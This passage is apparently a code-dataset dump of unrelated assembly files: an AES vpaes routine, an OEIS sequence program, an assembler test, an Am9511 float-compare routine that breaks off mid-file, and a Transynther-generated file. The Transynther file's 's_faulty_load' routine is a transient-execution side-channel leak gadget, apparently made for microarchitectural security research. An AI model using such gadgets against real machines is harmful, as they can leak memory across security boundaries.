movdqa xmm1,XMMWORD[((-64))+r10*1+r11]
DB 102,15,56,0,234
movdqa xmm4,XMMWORD[r10*1+r11]
movdqa xmm2,xmm14
DB 102,15,56,0,211
movdqa xmm3,xmm0
pxor xmm2,xmm5
DB 102,15,56,0,193
add r9,16
pxor xmm0,xmm2
DB 102,15,56,0,220
add r11,16
pxor xmm3,xmm0
DB 102,15,56,0,193
and r11,0x30
sub rax,1
pxor xmm0,xmm3
$L$enc_entry:
movdqa xmm1,xmm9
movdqa xmm5,xmm11
pandn xmm1,xmm0
psrld xmm1,4
pand xmm0,xmm9
DB 102,15,56,0,232
movdqa xmm3,xmm10
pxor xmm0,xmm1
DB 102,15,56,0,217
movdqa xmm4,xmm10
pxor xmm3,xmm5
DB 102,15,56,0,224
movdqa xmm2,xmm10
pxor xmm4,xmm5
DB 102,15,56,0,211
movdqa xmm3,xmm10
pxor xmm2,xmm0
DB 102,15,56,0,220
movdqu xmm5,XMMWORD[r9]
pxor xmm3,xmm1
jnz NEAR $L$enc_loop
movdqa xmm4,XMMWORD[((-96))+r10]
movdqa xmm0,XMMWORD[((-80))+r10]
DB 102,15,56,0,226
pxor xmm4,xmm5
DB 102,15,56,0,195
movdqa xmm1,XMMWORD[64+r10*1+r11]
pxor xmm0,xmm4
DB 102,15,56,0,193
DB 0F3h,0C3h ;repret
ALIGN 16
_vpaes_schedule_core:
call _vpaes_preheat
movdqa xmm8,XMMWORD[$L$k_rcon]
movdqu xmm0,XMMWORD[rdi]
movdqa xmm3,xmm0
lea r11,[$L$k_ipt]
call _vpaes_schedule_transform
movdqa xmm7,xmm0
lea r10,[$L$k_sr]
movdqu XMMWORD[rdx],xmm0
$L$schedule_go:
cmp esi,192
ja NEAR $L$schedule_256
$L$schedule_128:
mov esi,10
$L$oop_schedule_128:
call _vpaes_schedule_round
dec rsi
jz NEAR $L$schedule_mangle_last
call _vpaes_schedule_mangle
jmp NEAR $L$oop_schedule_128
ALIGN 16
$L$schedule_256:
movdqu xmm0,XMMWORD[16+rdi]
call _vpaes_schedule_transform
mov esi,7
$L$oop_schedule_256:
call _vpaes_schedule_mangle
movdqa xmm6,xmm0
call _vpaes_schedule_round
dec rsi
jz NEAR $L$schedule_mangle_last
call _vpaes_schedule_mangle
pshufd xmm0,xmm0,0xFF
movdqa xmm5,xmm7
movdqa xmm7,xmm6
call _vpaes_schedule_low_round
movdqa xmm7,xmm5
jmp NEAR $L$oop_schedule_256
ALIGN 16
$L$schedule_mangle_last:
lea r11,[$L$k_deskew]
movdqa xmm1,XMMWORD[r10*1+r8]
DB 102,15,56,0,193
lea r11,[$L$k_opt]
add rdx,32
$L$schedule_mangle_last_dec:
add rdx,-16
pxor xmm0,XMMWORD[$L$k_s63]
call _vpaes_schedule_transform
movdqu XMMWORD[rdx],xmm0
pxor xmm0,xmm0
pxor xmm1,xmm1
pxor xmm2,xmm2
pxor xmm3,xmm3
pxor xmm4,xmm4
pxor xmm5,xmm5
pxor xmm6,xmm6
pxor xmm7,xmm7
DB 0F3h,0C3h ;repret
ALIGN 16
_vpaes_schedule_round:
pxor xmm1,xmm1
DB 102,65,15,58,15,200,15
DB 102,69,15,58,15,192,15
pxor xmm7,xmm1
pshufd xmm0,xmm0,0xFF
DB 102,15,58,15,192,1
_vpaes_schedule_low_round:
movdqa xmm1,xmm7
pslldq xmm7,4
pxor xmm7,xmm1
movdqa xmm1,xmm7
pslldq xmm7,8
pxor xmm7,xmm1
pxor xmm7,XMMWORD[$L$k_s63]
movdqa xmm1,xmm9
pandn xmm1,xmm0
psrld xmm1,4
pand xmm0,xmm9
movdqa xmm2,xmm11
DB 102,15,56,0,208
pxor xmm0,xmm1
movdqa xmm3,xmm10
DB 102,15,56,0,217
pxor xmm3,xmm2
movdqa xmm4,xmm10
DB 102,15,56,0,224
pxor xmm4,xmm2
movdqa xmm2,xmm10
DB 102,15,56,0,211
pxor xmm2,xmm0
movdqa xmm3,xmm10
DB 102,15,56,0,220
pxor xmm3,xmm1
movdqa xmm4,xmm13
DB 102,15,56,0,226
movdqa xmm0,xmm12
DB 102,15,56,0,195
pxor xmm0,xmm4
pxor xmm0,xmm7
movdqa xmm7,xmm0
DB 0F3h,0C3h ;repret
ALIGN 16
_vpaes_schedule_transform:
movdqa xmm1,xmm9
pandn xmm1,xmm0
psrld xmm1,4
pand xmm0,xmm9
movdqa xmm2,XMMWORD[r11]
DB 102,15,56,0,208
movdqa xmm0,XMMWORD[16+r11]
DB 102,15,56,0,193
pxor xmm0,xmm2
DB 0F3h,0C3h ;repret
ALIGN 16
_vpaes_schedule_mangle:
movdqa xmm4,xmm0
movdqa xmm5,XMMWORD[$L$k_mc_forward]
add rdx,16
pxor xmm4,XMMWORD[$L$k_s63]
DB 102,15,56,0,229
movdqa xmm3,xmm4
DB 102,15,56,0,229
pxor xmm3,xmm4
DB 102,15,56,0,229
pxor xmm3,xmm4
$L$schedule_mangle_both:
movdqa xmm1,XMMWORD[r10*1+r8]
DB 102,15,56,0,217
add r8,-16
and r8,0x30
movdqu XMMWORD[rdx],xmm3
DB 0F3h,0C3h ;repret
global GFp_vpaes_set_encrypt_key
ALIGN 16
GFp_vpaes_set_encrypt_key:
mov QWORD[8+rsp],rdi ;WIN64 prologue
mov QWORD[16+rsp],rsi
mov rax,rsp
$L$SEH_begin_GFp_vpaes_set_encrypt_key:
mov rdi,rcx
mov rsi,rdx
mov rdx,r8
lea rsp,[((-184))+rsp]
movaps XMMWORD[16+rsp],xmm6
movaps XMMWORD[32+rsp],xmm7
movaps XMMWORD[48+rsp],xmm8
movaps XMMWORD[64+rsp],xmm9
movaps XMMWORD[80+rsp],xmm10
movaps XMMWORD[96+rsp],xmm11
movaps XMMWORD[112+rsp],xmm12
movaps XMMWORD[128+rsp],xmm13
movaps XMMWORD[144+rsp],xmm14
movaps XMMWORD[160+rsp],xmm15
$L$enc_key_body:
mov eax,esi
shr eax,5
add eax,5
mov DWORD[240+rdx],eax
mov ecx,0
mov r8d,0x30
call _vpaes_schedule_core
movaps xmm6,XMMWORD[16+rsp]
movaps xmm7,XMMWORD[32+rsp]
movaps xmm8,XMMWORD[48+rsp]
movaps xmm9,XMMWORD[64+rsp]
movaps xmm10,XMMWORD[80+rsp]
movaps xmm11,XMMWORD[96+rsp]
movaps xmm12,XMMWORD[112+rsp]
movaps xmm13,XMMWORD[128+rsp]
movaps xmm14,XMMWORD[144+rsp]
movaps xmm15,XMMWORD[160+rsp]
lea rsp,[184+rsp]
$L$enc_key_epilogue:
xor eax,eax
mov rdi,QWORD[8+rsp] ;WIN64 epilogue
mov rsi,QWORD[16+rsp]
DB 0F3h,0C3h ;repret
$L$SEH_end_GFp_vpaes_set_encrypt_key:
global GFp_vpaes_encrypt
ALIGN 16
GFp_vpaes_encrypt:
mov QWORD[8+rsp],rdi ;WIN64 prologue
mov QWORD[16+rsp],rsi
mov rax,rsp
$L$SEH_begin_GFp_vpaes_encrypt:
mov rdi,rcx
mov rsi,rdx
mov rdx,r8
lea rsp,[((-184))+rsp]
movaps XMMWORD[16+rsp],xmm6
movaps XMMWORD[32+rsp],xmm7
movaps XMMWORD[48+rsp],xmm8
movaps XMMWORD[64+rsp],xmm9
movaps XMMWORD[80+rsp],xmm10
movaps XMMWORD[96+rsp],xmm11
movaps XMMWORD[112+rsp],xmm12
movaps XMMWORD[128+rsp],xmm13
movaps XMMWORD[144+rsp],xmm14
movaps XMMWORD[160+rsp],xmm15
$L$enc_body:
movdqu xmm0,XMMWORD[rdi]
call _vpaes_preheat
call _vpaes_encrypt_core
movdqu XMMWORD[rsi],xmm0
movaps xmm6,XMMWORD[16+rsp]
movaps xmm7,XMMWORD[32+rsp]
movaps xmm8,XMMWORD[48+rsp]
movaps xmm9,XMMWORD[64+rsp]
movaps xmm10,XMMWORD[80+rsp]
movaps xmm11,XMMWORD[96+rsp]
movaps xmm12,XMMWORD[112+rsp]
movaps xmm13,XMMWORD[128+rsp]
movaps xmm14,XMMWORD[144+rsp]
movaps xmm15,XMMWORD[160+rsp]
lea rsp,[184+rsp]
$L$enc_epilogue:
mov rdi,QWORD[8+rsp] ;WIN64 epilogue
mov rsi,QWORD[16+rsp]
DB 0F3h,0C3h ;repret
$L$SEH_end_GFp_vpaes_encrypt:
ALIGN 16
_vpaes_preheat:
lea r10,[$L$k_s0F]
movdqa xmm10,XMMWORD[((-32))+r10]
movdqa xmm11,XMMWORD[((-16))+r10]
movdqa xmm9,XMMWORD[r10]
movdqa xmm13,XMMWORD[48+r10]
movdqa xmm12,XMMWORD[64+r10]
movdqa xmm15,XMMWORD[80+r10]
movdqa xmm14,XMMWORD[96+r10]
DB 0F3h,0C3h ;repret
ALIGN 64
_vpaes_consts:
$L$k_inv:
DQ 0x0E05060F0D080180,0x040703090A0B0C02
DQ 0x01040A060F0B0780,0x030D0E0C02050809
$L$k_s0F:
DQ 0x0F0F0F0F0F0F0F0F,0x0F0F0F0F0F0F0F0F
$L$k_ipt:
DQ 0xC2B2E8985A2A7000,0xCABAE09052227808
DQ 0x4C01307D317C4D00,0xCD80B1FCB0FDCC81
$L$k_sb1:
DQ 0xB19BE18FCB503E00,0xA5DF7A6E142AF544
DQ 0x3618D415FAE22300,0x3BF7CCC10D2ED9EF
$L$k_sb2:
DQ 0xE27A93C60B712400,0x5EB7E955BC982FCD
DQ 0x69EB88400AE12900,0xC2A163C8AB82234A
$L$k_sbo:
DQ 0xD0D26D176FBDC700,0x15AABF7AC502A878
DQ 0xCFE474A55FBB6A00,0x8E1E90D1412B35FA
$L$k_mc_forward:
DQ 0x0407060500030201,0x0C0F0E0D080B0A09
DQ 0x080B0A0904070605,0x000302010C0F0E0D
DQ 0x0C0F0E0D080B0A09,0x0407060500030201
DQ 0x000302010C0F0E0D,0x080B0A0904070605
$L$k_mc_backward:
DQ 0x0605040702010003,0x0E0D0C0F0A09080B
DQ 0x020100030E0D0C0F,0x0A09080B06050407
DQ 0x0E0D0C0F0A09080B,0x0605040702010003
DQ 0x0A09080B06050407,0x020100030E0D0C0F
$L$k_sr:
DQ 0x0706050403020100,0x0F0E0D0C0B0A0908
DQ 0x030E09040F0A0500,0x0B06010C07020D08
DQ 0x0F060D040B020900,0x070E050C030A0108
DQ 0x0B0E0104070A0D00,0x0306090C0F020508
$L$k_rcon:
DQ 0x1F8391B9AF9DEEB6,0x702A98084D7C7D81
$L$k_s63:
DQ 0x5B5B5B5B5B5B5B5B,0x5B5B5B5B5B5B5B5B
$L$k_opt:
DQ 0xFF9F4929D6B66000,0xF7974121DEBE6808
DQ 0x01EDBD5150BCEC00,0xE10D5DB1B05C0CE0
$L$k_deskew:
DQ 0x07E4A34047A4E300,0x1DFEB95A5DBEF91A
DQ 0x5F36B5DC83EA6900,0x2841C2ABF49D1E77
EXTERN __imp_RtlVirtualUnwind
ALIGN 16
se_handler:
push rsi
push rdi
push rbx
push rbp
push r12
push r13
push r14
push r15
pushfq
sub rsp,64
mov rax,QWORD[120+r8]
mov rbx,QWORD[248+r8]
mov rsi,QWORD[8+r9]
mov r11,QWORD[56+r9]
mov r10d,DWORD[r11]
lea r10,[r10*1+rsi]
cmp rbx,r10
jb NEAR $L$in_prologue
mov rax,QWORD[152+r8]
mov r10d,DWORD[4+r11]
lea r10,[r10*1+rsi]
cmp rbx,r10
jae NEAR $L$in_prologue
lea rsi,[16+rax]
lea rdi,[512+r8]
mov ecx,20
DD 0xa548f3fc
lea rax,[184+rax]
$L$in_prologue:
mov rdi,QWORD[8+rax]
mov rsi,QWORD[16+rax]
mov QWORD[152+r8],rax
mov QWORD[168+r8],rsi
mov QWORD[176+r8],rdi
mov rdi,QWORD[40+r9]
mov rsi,r8
mov ecx,154
DD 0xa548f3fc
mov rsi,r9
xor rcx,rcx
mov rdx,QWORD[8+rsi]
mov r8,QWORD[rsi]
mov r9,QWORD[16+rsi]
mov r10,QWORD[40+rsi]
lea r11,[56+rsi]
lea r12,[24+rsi]
mov QWORD[32+rsp],r10
mov QWORD[40+rsp],r11
mov QWORD[48+rsp],r12
mov QWORD[56+rsp],rcx
call QWORD[__imp_RtlVirtualUnwind]
mov eax,1
add rsp,64
popfq
pop r15
pop r14
pop r13
pop r12
pop rbp
pop rbx
pop rdi
pop rsi
DB 0F3h,0C3h ;repret
section .pdata rdata align=4
ALIGN 4
DD $L$SEH_begin_GFp_vpaes_set_encrypt_key wrt ..imagebase
DD $L$SEH_end_GFp_vpaes_set_encrypt_key wrt ..imagebase
DD $L$SEH_info_GFp_vpaes_set_encrypt_key wrt ..imagebase
DD $L$SEH_begin_GFp_vpaes_encrypt wrt ..imagebase
DD $L$SEH_end_GFp_vpaes_encrypt wrt ..imagebase
DD $L$SEH_info_GFp_vpaes_encrypt wrt ..imagebase
section .xdata rdata align=8
ALIGN 8
$L$SEH_info_GFp_vpaes_set_encrypt_key:
DB 9,0,0,0
DD se_handler wrt ..imagebase
DD $L$enc_key_body wrt ..imagebase,$L$enc_key_epilogue wrt ..imagebase
$L$SEH_info_GFp_vpaes_encrypt:
DB 9,0,0,0
DD se_handler wrt ..imagebase
DD $L$enc_body wrt ..imagebase,$L$enc_epilogue wrt ..imagebase
| 15.491704 | 76 | 0.75387 |
0bc90cc965d8c2fa9f017f717ef6c8d2653b22fc | 476 | asm | Assembly | programs/oeis/189/A189154.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/189/A189154.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/189/A189154.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A189154: Number of n X 2 binary arrays without the pattern 0 0 1 1 diagonally, vertically or horizontally
; 4,16,64,225,784,2704,9216,31329,106276,360000,1218816,4124961,13957696,47224384,159769600,540516001,1828588644,6186137104,20927672896,70798034241,239508444816,810252019600,2741064339456,9272956793409,31370192828100,106124610822400,359017002689536,1214545849612225,4108779232057600
cal $0,27084 ; G.f.: x^2*(x^2 + x + 1)/(x^4 - 2*x + 1).
mov $1,$0
add $1,1
pow $1,2
| 59.5 | 282 | 0.785714 |
6f74f2fbbe9c8f8d287298e906a2a062b16f9af3 | 72 | asm | Assembly | tools/yasm/modules/parsers/nasm/tests/numcase.asm | fasttr-org/ftr | ddba517fb53062d5dc919c94526607bb39bff4b9 | [
"BSD-3-Clause-Clear"
] | null | null | null | tools/yasm/modules/parsers/nasm/tests/numcase.asm | fasttr-org/ftr | ddba517fb53062d5dc919c94526607bb39bff4b9 | [
"BSD-3-Clause-Clear"
] | null | null | null | tools/yasm/modules/parsers/nasm/tests/numcase.asm | fasttr-org/ftr | ddba517fb53062d5dc919c94526607bb39bff4b9 | [
"BSD-3-Clause-Clear"
] | null | null | null | dd 10100100b
dd 10101010B
dd 76543210q
dd 01234567Q
dd 005A5h
dd 010ABH
| 10.285714 | 12 | 0.833333 |
295f453d891cb4272aecbba255f210dca67e87a7 | 347 | asm | Assembly | programs/oeis/280/A280637.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/280/A280637.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | programs/oeis/280/A280637.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | ; A280637: Sum of the digits of n^2+1.
; 1,2,5,1,8,8,10,5,11,10,2,5,10,8,17,10,14,11,10,11,5,10,17,8,19,14,20,10,20,14,10,17,8,10,14,11,19,11,14,10,8,17,19,14,20,10,11,5,10,8,8,10,14,11,19,11,14,10,17,17,10,14,20,19,20,14,19,17,17,19,14
pow $0,2
add $0,2
lpb $0
mov $2,$0
div $0,10
mod $2,10
add $1,$2
mov $3,12
lpe
add $1,$3
sub $1,13
| 23.133333 | 197 | 0.596542 |
d02c0f2806dcb5dc61d21c98e4d86756f954861d | 7,042 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_1289_1128.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_1289_1128.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_1289_1128.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r13
push %r8
push %r9
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_normal_ht+0x12c89, %rsi
lea addresses_D_ht+0x8e89, %rdi
nop
nop
nop
nop
inc %r8
mov $79, %rcx
rep movsw
nop
add %r9, %r9
lea addresses_D_ht+0x13d15, %rdx
xor $62378, %r13
movups (%rdx), %xmm1
vpextrq $1, %xmm1, %r8
nop
nop
nop
nop
inc %r8
lea addresses_WC_ht+0xef89, %rsi
lea addresses_D_ht+0x54a9, %rdi
and %rbp, %rbp
mov $20, %rcx
rep movsb
add $28292, %r13
lea addresses_normal_ht+0xd6c9, %rsi
lea addresses_A_ht+0x53a9, %rdi
inc %r13
mov $64, %rcx
rep movsb
nop
nop
nop
nop
xor $10460, %rdi
lea addresses_WT_ht+0x289, %r8
nop
sub %rcx, %rcx
mov $0x6162636465666768, %rdx
movq %rdx, %xmm3
movups %xmm3, (%r8)
nop
inc %r13
lea addresses_normal_ht+0x6289, %rcx
clflush (%rcx)
nop
nop
nop
nop
mfence
mov (%rcx), %rbp
sub %r8, %r8
lea addresses_UC_ht+0x1be89, %rsi
lea addresses_WT_ht+0x1ab91, %rdi
clflush (%rsi)
nop
nop
nop
nop
lfence
mov $108, %rcx
rep movsq
nop
nop
nop
nop
nop
xor %rdi, %rdi
lea addresses_normal_ht+0x19729, %rbp
nop
nop
nop
nop
nop
dec %r13
movl $0x61626364, (%rbp)
cmp %rdx, %rdx
lea addresses_WC_ht+0x2689, %rsi
lea addresses_D_ht+0x19989, %rdi
nop
add %r8, %r8
mov $22, %rcx
rep movsw
nop
nop
nop
nop
cmp $14718, %rdi
lea addresses_WC_ht+0xee89, %rsi
lea addresses_WC_ht+0x6ea9, %rdi
clflush (%rsi)
cmp $9551, %rbp
mov $7, %rcx
rep movsl
nop
nop
nop
nop
cmp $63174, %rbp
lea addresses_A_ht+0x13689, %rdi
nop
nop
nop
nop
nop
and $5903, %r13
movw $0x6162, (%rdi)
nop
add %r13, %r13
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %r9
pop %r8
pop %r13
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r13
push %r14
push %r9
push %rax
push %rbp
push %rdi
// Load
lea addresses_WC+0x5d49, %rax
nop
nop
nop
nop
nop
xor $30894, %r9
mov (%rax), %rdi
nop
nop
and $5016, %r10
// Faulty Load
lea addresses_WC+0x1e89, %r10
add $57772, %r14
movb (%r10), %al
lea oracles, %r10
and $0xff, %rax
shlq $12, %rax
mov (%r10,%rax,1), %rax
pop %rdi
pop %rbp
pop %rax
pop %r9
pop %r14
pop %r13
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 10, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 3, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 5, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 8, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 4, 'same': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
{'38': 1289}
38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38
*/
| 36.487047 | 2,999 | 0.659614 |
b2d29994943d50b178f46167d18d5541fdda8656 | 4,327 | asm | Assembly | libsrc/_DEVELOPMENT/math/float/am9511/asm/8085/am32_compare.asm | dikdom/z88dk | 40c55771062b0ea9bb2f0d5b73e2f754fc12b6b0 | [
"ClArtistic"
] | 1 | 2022-03-08T11:55:58.000Z | 2022-03-08T11:55:58.000Z | libsrc/_DEVELOPMENT/math/float/am9511/asm/8085/am32_compare.asm | dikdom/z88dk | 40c55771062b0ea9bb2f0d5b73e2f754fc12b6b0 | [
"ClArtistic"
] | 2 | 2022-03-20T22:17:35.000Z | 2022-03-24T16:10:00.000Z | libsrc/_DEVELOPMENT/math/float/am9511/asm/8085/am32_compare.asm | jorgegv/z88dk | 127130cf11f9ff268ba53e308138b12d2b9be90a | [
"ClArtistic"
] | null | null | null | ;
; Copyright (c) 2022 Phillip Stevens
;
; This Source Code Form is subject to the terms of the Mozilla Public
; License, v. 2.0. If a copy of the MPL was not distributed with this
; file, You can obtain one at http://mozilla.org/MPL/2.0/.
;
; feilipu, January 2022
;
;-------------------------------------------------------------------------
SECTION code_clib
SECTION code_fp_am9511
PUBLIC asm_am9511_compare_sccz80
; Compare two IEEE floats.
;
; IEEE float is considered zero if exponent is zero.
;
; To compare our floating point numbers across whole number range,
; we define the following rules:
; - Always flip the sign bit.
; - If the sign bit was set (negative), flip the other bits too.
; http://stereopsis.com/radix.html, et al.
; Entry: stack = left, right, ret, ret
;
; Exit: Z = number is zero
; (NZ) = number is non-zero
; C = number is negative
; NC = number is positive
;
; Uses: af, bc, de, hl
.asm_am9511_compare_sccz80
ld de,sp+4 ;right
ex de,hl
ld de,sp+8 ;left
; We subtract the right from the left.
; l-r -> result
; (hl) right
; (de) left
push hl ;(hl) right
push de ;(de) left
push de ;(de) left
ld bc,hl ;(bc) right
ld de,hl+2 ;(de) right MSW
ld hl,(de) ;right MSW
add hl,hl
inc h
dec h
jp Z,zero_right ;right is zero (exponent is zero)
jp NC,positive_right
ld a,(bc) ;flip all right bits
cpl
ld (bc),a
inc bc
ld a,(bc)
cpl
ld (bc),a
inc bc
ld a,(bc)
cpl
ld (bc),a
inc bc
ld a,(bc)
cpl
ld (bc),a
jp continue_left
.positive_right
inc de
ld a,(de)
xor 080h ;flip right sign bit
ld (de),a
.continue_left
pop hl ;(hl) left
ld bc,hl ;(bc) left
ld de,hl+2 ;(de) left MSW
ld hl,(de) ;left MSW
add hl,hl
inc h
dec h
jp Z,zero_left ;left is zero (exponent is zero)
jp NC,positive_left
ld a,(bc) ;flip all left bits
cpl
ld (bc),a
inc bc
ld a,(bc)
cpl
ld (bc),a
inc bc
ld a,(bc)
cpl
ld (bc),a
inc bc
ld a,(bc)
cpl
ld (bc),a
jp continue
.positive_left
inc de
ld a,(de)
xor 080h ;flip left sign bit
ld (de),a
.continue
pop bc ;(bc) left
pop hl ;(hl) right
push de ;make working variable
push de
ld de,sp+0 ;(de) pointer to variable
ld a,(bc) ;left
sub (hl) ;right
ld (de),a ;result
inc bc
inc de
inc hl
ld a,(bc) ;left
sbc (hl) ;right + C
ld (de),a ;result
inc bc
inc de
inc hl
ld a,(bc) ;left
sbc (hl) ;right + C
ld (de),a ;result
inc bc
; inc de
inc hl
ld a,(bc) ;left
sbc (hl) ;right + C
; ld (de),a ;leave MSB in a
jp C,consider_negative
.consider_positive
; Calculate whether result is zero (equal)
ex de,hl
; dec hl
or (hl)
dec hl
or (hl)
dec hl
or (hl)
pop bc ;remove working variable
pop bc
.return_positive
ld hl,1
scf
ccf
ret
.consider_negative
; Calculate whether result is zero (equal)
ex de,hl
; dec hl
or (hl)
dec hl
or (hl)
dec hl
or (hl)
pop bc ;remove working variable
pop bc
.return_negative
ld hl,1
scf
ret
.zero_right
pop hl ;(hl) left
